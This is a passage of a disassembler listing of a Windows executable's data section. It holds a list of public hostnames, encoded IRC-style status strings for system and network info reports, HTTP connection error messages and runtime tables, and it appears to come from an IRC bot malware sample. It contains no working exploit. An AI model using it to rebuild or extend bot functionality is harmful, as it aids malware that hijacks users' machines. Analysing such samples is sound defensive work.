sub_41A6AF+70o align 4 aWww_rit_edu db 'www.rit.edu',0 ; DATA XREF: sub_41A6AF+69o aWww_nocster_co db 'www.nocster.com',0 ; DATA XREF: sub_41A6AF+62o aWww_verio_com db 'www.verio.com',0 ; DATA XREF: sub_41A6AF+5Bo align 4 aWww_stanford_e db 'www.stanford.edu',0 ; DATA XREF: sub_41A6AF+54o align 4 aWww_xo_net db 'www.xo.net',0 ; DATA XREF: sub_41A6AF+4Do align 4 aWww_google_it db 'www.google.it',0 ; DATA XREF: sub_41A6AF+46o align 4 aDe_yahoo_com db 'de.yahoo.com',0 ; DATA XREF: sub_41A6AF+3Fo align 4 aWww_belwue_de db 'www.belwue.de',0 ; DATA XREF: sub_41A6AF+38o align 4 aWww_switch_ch db 'www.switch.ch',0 ; DATA XREF: sub_41A6AF+31o align 4 aWww_1und1_de db 'www.1und1.de',0 ; DATA XREF: sub_41A6AF+2Ao align 4 aVerio_fr db 'verio.fr',0 ; DATA XREF: sub_41A6AF+23o align 4 aWww_utwente_nl db 'www.utwente.nl',0 ; DATA XREF: sub_41A6AF+1Co align 4 aWww_schlund_ne db 'www.schlund.net',0 ; DATA XREF: sub_41A6AF+15o aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_41A88C+52o dword_43A720 dd 234032Dh, 69737973h, 26F666Eh, 2202D03h, 2555043h, 4925203Ah ; DATA XREF: sub_41AA43+297o dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh dd 26B7369h, 7325203Ah, 746F7420h, 202C6C61h, 66207325h dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h dd 74705502h, 2656D69h, 7325203Ah, 2Eh dword_43A7FC dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA XREF: sub_41AA43+192o aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AA43:loc_41ABA7o align 10h aSS_1 db '%s (%s)',0 ; DATA XREF: sub_41AA43+EBo dword_43A828 dd 234032Dh, 6974656Eh, 26F666Eh, 2202D03h, 65707954h ; DATA XREF: sub_41ACF7+A4o dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h dd 2737365h, 7325203Ah, 4802202Eh, 6E74736Fh, 2656D61h dd 7325203Ah, 2Eh off_43A86C dd offset word_412F4E ; DATA XREF: sub_41ACF7:loc_41AD63o off_43A870 dd offset dword_4E414C ; DATA XREF: sub_41ACF7:loc_41AD59o dword_43A874 dd 6C616944h, 70752Dh ; DATA XREF: sub_41ACF7+5Bo dword_43A87C dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h ; DATA XREF: sub_41ACF7+48o unk_43A88C db 2Dh ; - ; DATA XREF: sub_41ADB6:loc_41AF6Fo db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToConnec db ' Failed to connect to HTTP server.',0 align 4 unk_43A8BC db 2Dh ; - ; DATA XREF: sub_41ADB6:loc_41AF68o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aCouldNotOpenAC db ' Could not open a connection.',0 align 4 dword_43A8E8 dd 234032Dh, 69736976h, 2D030274h, 766E4920h, 64696C61h ; DATA XREF: sub_41ADB6+1A0o dd 4C525520h, 2Eh unk_43A904 db 2Dh ; - ; DATA XREF: sub_41ADB6:loc_41AF49o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToGetReq db ' Failed to get requested URL from HTTP server.',0 align 10h dword_43A940 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 73697620h ; DATA XREF: sub_41ADB6+18Co dd 64657469h, 2Eh dword_43A95C dd 2A2F2Ah ; DATA XREF: sub_41ADB6+3Bo dword_43A960 dd 5F230852h ; DATA XREF: sub_41B8D8+4w sub_41B8E2r ... align 10h dword_43A970 dd 173Fh ; DATA XREF: sub_41C679+Dr dd 9875h, 9873h off_43A97C dd offset sub_41C748 ; DATA XREF: ___:0041B784r dd offset nullsub_2 dd offset nullsub_2 dword_43A988 dd 1B3Fh ; DATA XREF: sub_41C7BF+Dr dword_43A98C dd 19930520h, 4 dup(0) ; DATA XREF: sub_41CC41+2o ; sub_41CC4A+2o off_43A9A0 dd offset sub_41B7C2 ; DATA XREF: sub_41DA29+1Cr dword_43A9A4 dd 2 ; DATA XREF: sub_423590+Er ; sub_4235C9+46r ... dd 10h, 0 off_43A9B0 dd offset off_43A9B0 ; DATA XREF: sub_41E976+Do ; sub_41E976+69o ... off_43A9B4 dd offset off_43A9B0 ; DATA XREF: sub_41E976:loc_41E9F6r ; sub_41E976+89w ... dd offset dword_43A9C8 dd offset dword_43A9C8 dword_43A9C0 dd 0FFFFFFFFh ; DATA XREF: sub_41E976r ; sub_41EABA:loc_41EB07w dd 0FFFFFFFFh dword_43A9C8 dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF: ___:0043A9B8o ; ___:0043A9BCo off_43C9D0 dd offset off_43A9B0 ; DATA XREF: sub_41EABA+15r ; sub_41EABA+20w ... dword_43C9D4 dd 1E0h ; DATA XREF: sub_41B202+185r ; sub_41B513:loc_41B54Fr ... off_43C9D8 dd offset word_43C9E2 ; DATA XREF: sub_41B6EE+23r ; sub_41B6EE:loc_41B74Fr ... off_43C9DC dd offset word_43C9E2 ; DATA XREF: sub_426BC1+18r db 2 dup(0) word_43C9E2 dw 20h ; DATA XREF: sub_424D47+18r ; ___:off_43C9D8o ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) dword_43CBE4 dd 1 ; DATA XREF: sub_41B6EE:loc_41B6F6r ; sub_41B6EE:loc_41B73Ar ... byte_43CBE8 db 2Eh ; DATA XREF: sub_420510:loc_420804r ; sub_420510+311r ... align 4 dd 1 off_43CBF0 dd offset aNull_0 ; DATA XREF: sub_41F69F:loc_41FA03r ; sub_41F69F+457r ; "(null)" off_43CBF4 dd offset aNull ; DATA XREF: sub_41F69F+259r ; "(null)" byte_43CBF8 db 1 ; DATA XREF: sub_41FEA9+E1r db 2, 4, 8 align 10h dword_43CC00 dd 3A4h ; DATA XREF: sub_41FEA9+2Fo dword_43CC04 dd 82798260h, 21h, 0 ; DATA XREF: sub_41FEA9+11Dr dword_43CC10 dd 0DFA6h ; DATA XREF: sub_41FEA9+C0r align 8 dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_43CCF0 dd 1 ; DATA XREF: sub_41FEA9+3Co ; sub_4203DF+Co dword_43CCF4 dd 16h ; DATA XREF: sub_4203DF:loc_420414r dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch dword_43CE58 dd 0D2D0920h, 5Dh ; DATA XREF: sub_4203DF+19o ; sub_420510:loc_420A77o dword_43CE60 dd 5Dh, 0 ; DATA XREF: sub_420510:loc_420967o dword_43CE68 dd 14h ; DATA XREF: sub_421624+2o off_43CE6C dd offset aExp ; DATA XREF: sub_421624:loc_421641r ; "exp" dd 1Dh, 427870h, 1Ah, 42C964h, 1Bh, 427868h, 1Fh, 427860h dd 13h, 427858h, 21h, 427850h, 0Eh, 427848h, 0Dh, 427840h dd 0Fh, 427838h, 10h, 427830h, 5, 427828h, 1Eh, 427824h dd 12h, 427820h, 20h, 42781Ch, 0Ch, 427814h, 0Bh, 42780Ch dd 15h, 427804h, 1Ch, 4277FCh, 19h, 4277F4h, 11h, 4277ECh dd 18h, 4277E4h, 16h, 4277DCh, 17h, 4277D4h, 22h, 4277D0h dd 23h, 4277CCh, 24h, 4277C8h dbl_43CF40 dq 1.797693134862316e308 ; DATA XREF: sub_42135F+B7r ; sub_42135F:loc_421446r ... dd 0 dd 0FFF80000h dbl_43CF50 dq 1.797693134862316e308 ; DATA XREF: sub_42135F+92r ; sub_42135F:loc_42141Er ... dd 0 dd 100000h, 0 dd 80000000h tbyte_43CF68 dt 2.3562723457267347066e313 ; DATA XREF: sub_42180C+Dr ; sub_42180C+1Fr align 4 tbyte_43CF74 dt 1.9149954921904370718e-1233 ; DATA XREF: sub_42180C+31r align 10h off_43CF80 dd offset sub_421CA0 ; DATA XREF: sub_41C760+Fw ; sub_41F69F+3AAr off_43CF84 dd offset sub_421935 ; DATA XREF: sub_41C760+5w ; sub_41F69F+3E2r off_43CF88 dd offset sub_42199B ; DATA XREF: sub_41C760+14w ; sub_420510+430r off_43CF8C dd offset sub_4218DB ; DATA XREF: sub_41C760+1Ew ; sub_41F69F+3CBr off_43CF90 dd offset sub_421983 ; DATA XREF: sub_41C760+28w off_43CF94 dd offset sub_421CA0 ; DATA XREF: sub_41C760+32w dd offset sub_42470C align 10h dd offset sub_42255C off_43CFA4 dd offset sub_42255C ; DATA XREF: sub_4225B2+29r dword_43CFA8 dd 0C0000005h ; DATA XREF: sub_422E2F+Ar ; sub_422E2F+11o ... dword_43CFAC dd 0Bh ; DATA XREF: sub_425A82+Ar dd 0 dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 db 8Dh, 0 dw 0C000h dd 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 db 90h db 2 dup(0), 0C0h dd 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_43D020 dd 3 ; DATA XREF: ___:00422D46r ; sub_425955+C8r dword_43D024 dd 7 ; DATA XREF: ___:00422D4Cr ; sub_425955+CDr dword_43D028 dd 0Ah ; DATA XREF: sub_422E2F+4r ; sub_425A82+4r dword_43D02C dd 8Ch ; DATA XREF: ___:00422D70r ; ___:00422D7Dw ... dword_43D030 dd 0FFFFFFFFh, 0A00h ; DATA XREF: sub_41F043:loc_41F0C4o ; sub_41F58A:loc_41F647o dword_43D038 dd 2 ; DATA XREF: sub_4235C9+Eo ; sub_4235C9+28r off_43D03C dd offset aR6002FloatingP ; DATA XREF: sub_4235C9+FCr ; sub_4235C9+12Dr ; "R6002\r\n- floating point not loaded\r\n" dd 8, 427B8Ch, 9, 427B60h, 0Ah, 427B3Ch, 10h, 427B10h dd 11h, 427AE0h, 12h, 427ABCh, 13h, 427A90h, 18h, 427A58h dd 19h, 427A30h, 1Ah, 4279F8h, 1Bh, 4279C0h, 1Ch, 427998h dd 78h, 427988h, 79h, 427978h, 7Ah, 427968h, 0FCh, 433F14h dd 0FFh, 427958h off_43D0C8 dd offset dword_4DBC80 ; DATA XREF: sub_4235C9+1Bo ; sub_423936+55o align 10h dd offset dword_4DBC80 dd 101h dword_43D0D8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_423936+72o dd 1000h, 0 dword_43D0E8 dd 3 dup(0) ; DATA XREF: sub_41F58A+50o ; sub_420446+12o dd 2, 0FFFFFFFFh, 3 dup(0) dword_43D108 dd 3 dup(0) ; DATA XREF: sub_41F58A+58o ; sub_420446:loc_420464o dd 2, 0FFFFFFFFh, 7 dup(0) dword_43D138 dd 84h dup(0) ; DATA XREF: sub_423936+9Bo dword_43D348 dd 2 dup(0) ; DATA XREF: sub_423936+69o dword_43D350 dd 2694h ; DATA XREF: sub_420FC1+3r ; sub_421014+46r align 8 dword_43D358 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_4244ECo dword_43D370 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424502o dword_43D388 dd 7080h ; DATA XREF: sub_422669+76r ; sub_4247EC+5Ew ... dword_43D38C dd 1 ; DATA XREF: sub_422669+98r ; sub_4247EC+8Bw ... dword_43D390 dd 0FFFFF1F0h ; DATA XREF: sub_422669:loc_42271Br ; sub_4247EC+94w ... off_43D394 dd offset dword_545350 ; DATA XREF: ___:off_43D414o dd 0Fh dup(0) off_43D3D4 dd offset dword_544450 ; DATA XREF: ___:off_43D418o dd 0Fh dup(0) off_43D414 dd offset off_43D394 ; DATA XREF: sub_4247EC+BAr ; sub_4247EC+D9r ... off_43D418 dd offset off_43D3D4 ; DATA XREF: sub_4247EC+F4r ; sub_4247EC+11Br ... align 10h dword_43D420 dd 0FFFFFFFFh ; DATA XREF: sub_4247EC+1Dw ; sub_424A4A+1Er ... dword_43D424 dd 0 ; DATA XREF: sub_424A4A:loc_424B7Er ; sub_424BF6+BFw dword_43D428 dd 0 ; DATA XREF: sub_424A4A+192r ; sub_424BF6+E0w align 10h dword_43D430 dd 0FFFFFFFFh ; DATA XREF: sub_4247EC+17w ; sub_424A4A+26r ... dword_43D434 dd 0 ; DATA XREF: sub_424A4A+13Ar ; sub_424BF6+EAw ... dword_43D438 dd 0 ; DATA XREF: sub_424A4A+1A1r ; sub_424BF6+23r ... dword_43D43C dd 0FFFFFFFFh ; DATA XREF: sub_424BF6+84r dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h dd 14Eh dword_43D46C dd 16Dh ; DATA XREF: sub_422669+2Ar ; sub_424BF6+2Er ... dword_43D470 dd 0FFFFFFFFh ; DATA XREF: sub_424BF6:loc_424C82r dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh dd 14Dh, 16Ch, 0 dword_43D4A8 dd 2 dup(0) ; DATA XREF: sub_425DDA+7o dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) ; --------------------------------------------------------------------------- push eax retn ; --------------------------------------------------------------------------- dw 400Fh dd 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_43D608 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: sub_425DDA+1Bo dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh, 0AD8A6DDh off_43D764 dd offset off_427D60 ; DATA XREF: ___:00427F3Co ; ___:00428028o dd 0 a_?avexception@ db '.?AVexception@@',0 off_43D77C dd offset off_427D60 ; DATA XREF: ___:off_427DF0o ; ___:00427E30o ... dd 0 a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 4 off_43D79C dd offset off_427D60 ; DATA XREF: ___:off_427E38o ; ___:00427E7Co ... dd 0 a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 4 off_43D7BC dd offset off_427D60 ; DATA XREF: ___:off_427E84o ; ___:00427EC8o ... dd 0 a_?avlength_err db '.?AVlength_error@std@@',0 align 10h off_43D7E0 dd offset off_427D60 ; DATA XREF: ___:off_427ED0o ; ___:00427F0Co align 8 a_?avtype_info@ db '.?AVtype_info@@',0 dd offset sub_42470C align 10h dword_43D800 dd 2 dup(0) ; DATA XREF: sub_40111D+C8o dword_43D808 dd 2 dup(0) ; DATA XREF: sub_40111D+62o ; ___:0040146Eo ... dword_43D810 dd 0 ; DATA XREF: ___:004015B0o ; sub_401ACD+B08o ... dd 5 dup(0) dword_43D828 dd 0 ; DATA XREF: sub_401ACD+B64r ; sub_4150B5+60r dd 2D9h dup(0) dword_43E390 dd 0 ; DATA XREF: sub_401ACD+5E63r ; sub_401ACD+5F40r ... dd 7Fh dup(0) dword_43E590 dd 0 ; DATA XREF: sub_40B0F7+41w ; sub_40B232+40w ... dword_43E594 dd 0 ; DATA XREF: sub_40B0F7+47w ; sub_40B232+46w ... dword_43E598 dd 0 ; DATA XREF: sub_40B0F7+52w ; sub_40B232+3Ar ... dword_43E59C dd 0 ; DATA XREF: sub_40111D+Cr ; sub_4017ED+B9w ... dword_43E5A0 dd 0 ; DATA XREF: sub_40B232+75r ; sub_40B413+2Aw ... dword_43E5A4 dd 0 ; DATA XREF: ___:004015FFw ; ___:00401677w ... byte_43E5A8 db 0 ; DATA XREF: sub_4017ED+91o ; sub_401ACD+5DA8r ... align 4 dd 1C69h dup(0) dword_445750 dd 2A3Fh dup(0) ; DATA XREF: ___:00433E54o db 0 byte_45004D db 3 dup(0) ; DATA XREF: ___:00438140o dd 1CFCh dup(0) db 0 byte_457441 db 3 dup(0) ; DATA XREF: ___:off_438BACo dd 17780h dup(0) db 0 byte_4B5245 db 3 dup(0) ; DATA XREF: ___:off_438A18o dd 5852h dup(0) dword_4CB390 dd 0 ; DATA XREF: sub_40111D+FDw ; sub_40B0F7+13o ... dword_4CB394 dd 0 ; DATA XREF: ___:0040125Ew ; sub_401ACD:loc_4044D8r ... dword_4CB398 dd 0 ; DATA XREF: ___:loc_4016FFo dword_4CB39C dd 20h dup(0) ; DATA XREF: ___:004016B6o ; ___:00401750o ... dword_4CB41C dd 10h dup(0) ; DATA XREF: ___:004016CCo dword_4CB45C dd 24h dup(0) ; DATA XREF: ___:004016E3o dword_4CB4EC dd 0 ; DATA XREF: ___:004016D7w ; ___:00401767w ... dword_4CB4F0 dd 0 ; DATA XREF: ___:004016F6w align 10h byte_4CB500 db 0 ; DATA XREF: sub_401955+28r ; sub_401955+30o align 4 dword_4CB504 dd 0 ; DATA XREF: ___:00401704w ; ___:0040171Br ... dword_4CB508 dd 0 ; DATA XREF: ___:004016BBw ; sub_401ACD+8BEr dword_4CB50C dd 0 ; DATA XREF: sub_401ACD+7DC0o ; sub_40C9A5+13o ... dword_4CB510 dd 0 ; DATA XREF: sub_409B13+4A7w ; sub_409B13+4EBr ... dword_4CB514 dd 0 ; DATA XREF: sub_409B13+65w ; sub_4196BD+166r dword_4CB518 dd 0 ; DATA XREF: sub_409B13+80Bw ; sub_409B13+880r ... dword_4CB51C dd 0 ; DATA XREF: sub_409B13+9D8w ; sub_409B13+A43r ... dword_4CB520 dd 0 ; DATA XREF: sub_409B13+98Aw ; sub_409B13+A13r ... dword_4CB524 dd 0 ; DATA XREF: sub_409B13+48Dw ; sub_409B13+4DBr ... dword_4CB528 dd 0 ; DATA XREF: sub_409B13+213w ; sub_409B13+234r dword_4CB52C dd 0 ; DATA XREF: sub_409B13+9CBw ; sub_409B13+A3Br ... dword_4CB530 dd 0 ; DATA XREF: sub_409B13+372w ; sub_409B13+3C7r ... dword_4CB534 dd 0 ; DATA XREF: sub_409B13+40Fw ; sub_41AA43+11Er dword_4CB538 dd 0 ; DATA XREF: sub_409B13+37Fw ; sub_409B13+3CFr ... dword_4CB53C dd 0 ; DATA XREF: sub_409B13+3C0w ; sub_418C8F+ADr dword_4CB540 dd 0 ; DATA XREF: sub_409B13+55Aw ; sub_40F0D6+115r ... dword_4CB544 dd 0 ; DATA XREF: sub_409B13+72w ; sub_409B13+D2r ... dword_4CB548 dd 0 ; DATA XREF: sub_409B13+97Dw ; sub_409B13+A06r ... dword_4CB54C dd 0 ; DATA XREF: sub_409B13+3A6w ; sub_409B13+3E7r ... dword_4CB550 dd 0 ; DATA XREF: sub_409B13+859w ; sub_409B13+8ACr ... dword_4CB554 dd 0 ; DATA XREF: sub_409B13+2A5w ; sub_409B13+2F0r ... dword_4CB558 dd 0 ; DATA XREF: sub_409B13+84Cw ; sub_409B13+8A4r ... dword_4CB55C dd 0 ; DATA XREF: sub_409B13+B3w dword_4CB560 dd 0 ; DATA XREF: sub_409B13+866w ; sub_409B13+8B4r ... dword_4CB564 dd 0 ; DATA XREF: sub_409B13+54Dw ; sub_409B13+6D0r ... dword_4CB568 dd 0 ; DATA XREF: sub_409B13+58w ; sub_409B13+CAr ... dword_4CB56C dd 0 ; DATA XREF: sub_409B13+934w dword_4CB570 dd 0 ; DATA XREF: sub_401ACD:loc_403F26r ; sub_409B13+A95w ... dword_4CB574 dd 0 ; DATA XREF: sub_409B13+A6w ; sub_409B13+F2r dword_4CB578 dd 0 ; DATA XREF: sub_409B13+480w ; sub_409B13+4D3r ... dword_4CB57C dd 0 ; DATA XREF: sub_409B13+5F6w ; sub_40BFA4+20r dword_4CB580 dd 0 ; DATA XREF: sub_409B13+9BEw ; sub_409B13+A33r dword_4CB584 dd 0 ; DATA XREF: sub_409B13+5E9w ; sub_409B13+754r ... dword_4CB588 dd 0 ; DATA XREF: sub_409B13+A0Cw dword_4CB58C dd 0 ; DATA XREF: sub_409B13+B50w dword_4CB590 dd 0 ; DATA XREF: sub_409B13+7FEw ; sub_409B13+86Dr ... dword_4CB594 dd 0 ; DATA XREF: sub_409B13+1B3w ; sub_40B2F2+3Do ... dword_4CB598 dd 0 ; DATA XREF: sub_409B13+997w ; sub_409B13+A1Br ... dword_4CB59C dd 0 ; DATA XREF: sub_409B13+38Cw ; sub_409B13+3D7r ... dword_4CB5A0 dd 0 ; DATA XREF: sub_409B13+399w ; sub_409B13+3DFr ... dword_4CB5A4 dd 0 ; DATA XREF: sub_409B13+C85w ; sub_409B13+C8Cr ... dword_4CB5A8 dd 0 ; DATA XREF: sub_409B13+6ACw ; ___:00410890r dword_4CB5AC dd 0 ; DATA XREF: sub_40111D+1Dr ; sub_40111D+23r ... dword_4CB5B0 dd 0 ; DATA XREF: sub_409B13+4B4w ; sub_4153BD+207r dword_4CB5B4 dd 0 ; DATA XREF: sub_409B13+9E5w ; sub_409B13+A4Br ... dword_4CB5B8 dd 0 ; DATA XREF: sub_401000+51r ; sub_409B13+2B2w ... dword_4CB5BC dd 0 ; DATA XREF: sub_409B13+7Fw ; sub_409B13+DAr ... dword_4CB5C0 dd 0 ; DATA XREF: sub_401ACD+5912r ; sub_401ACD+79CFr ... dword_4CB5C4 dd 0 ; DATA XREF: ___:004012ADr ; sub_401ACD+5118r ... dword_4CB5C8 dd 0 ; DATA XREF: sub_409B13+825w ; sub_409B13+890r ... dword_4CB5CC dd 0 ; DATA XREF: sub_409B13+9A4w ; sub_409B13+A23r dword_4CB5D0 dd 0 ; DATA XREF: sub_409B13+C0Ew ; sub_409B13+C3Fr dword_4CB5D4 dd 0 ; DATA XREF: sub_409B13+2CCw ; sub_4184E2+47r dword_4CB5D8 dd 0 ; DATA XREF: sub_409B13+22Dw dword_4CB5DC dd 0 ; DATA XREF: sub_409B13+91Aw ; sub_409B13+92Er dword_4CB5E0 dd 0 ; DATA XREF: sub_409B13+C28w dword_4CB5E4 dd 0 ; DATA XREF: sub_409B13+2D9w ; sub_4184E2+4Fr dword_4CB5E8 dd 0 ; DATA XREF: sub_409B13+574w ; sub_409B13+6E8r ... dword_4CB5EC dd 0 ; DATA XREF: sub_409B13+83Fw ; sub_409B13+873r dword_4CB5F0 dd 0 ; DATA XREF: sub_409B13+220w ; sub_409B13+23Cr dword_4CB5F4 dd 0 ; DATA XREF: sub_409B13+172w ; sub_409B13+1C2r ... dword_4CB5F8 dd 0 ; DATA XREF: sub_401ACD+1E31r ; sub_401ACD+5AC8r ... dword_4CB5FC dd 0 ; DATA XREF: sub_4017ED+C4r ; sub_401ACD+51A2r ... dword_4CB600 dd 0 ; DATA XREF: sub_409B13+567w ; sub_409B13+6DCr ... dword_4CB604 dd 0 ; DATA XREF: sub_409B13+8DBw ; sub_409B13:loc_40A40Cw ... dword_4CB608 dd 0 ; DATA XREF: sub_401000+26r ; sub_409B13+28Bw ... dword_4CB60C dd 0 ; DATA XREF: sub_401ACD+795Ar ; sub_409B13+69Fw ... dword_4CB610 dd 0 ; DATA XREF: sub_409B13+32Dw ; sub_409B13+341r ... dword_4CB614 dd 0 ; DATA XREF: sub_409B13+3B3w ; sub_409B13+3EFr ... dword_4CB618 dd 0 ; DATA XREF: sub_409B13+C01w ; sub_409B13+C37r dword_4CB61C dd 0 ; DATA XREF: sub_409B13+818w ; sub_409B13+888r ... dword_4CB620 dd 0 ; DATA XREF: sub_409B13+206w ; sub_409B13+227r dword_4CB624 dd 0 ; DATA XREF: sub_409B13+18Cw ; sub_409B13+1D2r ... dword_4CB628 dd 0 ; DATA XREF: sub_409B13+832w ; sub_409B13+898r ... dword_4CB62C dd 0 ; DATA XREF: sub_409B13+624w ; sub_409B13+774r dword_4CB630 dd 0 ; DATA XREF: sub_401000+5Ar ; sub_409B13+2BFw ... dword_4CB634 dd 0 ; DATA XREF: sub_409B13+66Bw ; sub_409B13+79Cr ... dword_4CB638 dd 0 ; DATA XREF: sub_409B13+320w ; sub_409B13+334r ... dword_4CB63C dd 0 ; DATA XREF: sub_409B13+644w ; sub_409B13+784r ... dword_4CB640 dd 0 ; DATA XREF: sub_409B13+44Cw ; sub_409B13+4AEr ... dword_4CB644 dd 0 ; DATA XREF: sub_409B13+199w ; sub_409B13+1DAr ... dword_4CB648 dd 0 ; DATA XREF: sub_409B13+365w ; sub_409B13+3BAr ... dword_4CB64C dd 0 ; DATA XREF: sub_409B13+AA2w dword_4CB650 dd 0 ; DATA XREF: sub_409B13+5DCw ; sub_409B13+748r ... dword_4CB654 dd 0 ; DATA XREF: sub_4017ED+3Er ; sub_401ACD+5154r ... dword_4CB658 dd 0 ; DATA XREF: sub_409B13+4Bw ; sub_409B13+C2r ... dword_4CB65C dd 0 ; DATA XREF: sub_409B13+473w ; sub_409B13+4CBr ... dword_4CB660 dd 0 ; DATA XREF: sub_409B13+165w ; sub_409B13+1BAr ... dword_4CB664 dd 0 ; DATA XREF: sub_409B13+9FFw ; sub_409B13+A5Br ... dword_4CB668 dd 0 ; DATA XREF: sub_409B13+685w ; sub_409B13+7ACr ... dword_4CB66C dd 0 ; DATA XREF: sub_401955+D1r ; sub_401ACD+51B7r ... dword_4CB670 dd 0 ; DATA XREF: sub_409B13+C1Bw ; sub_409B13+C47r 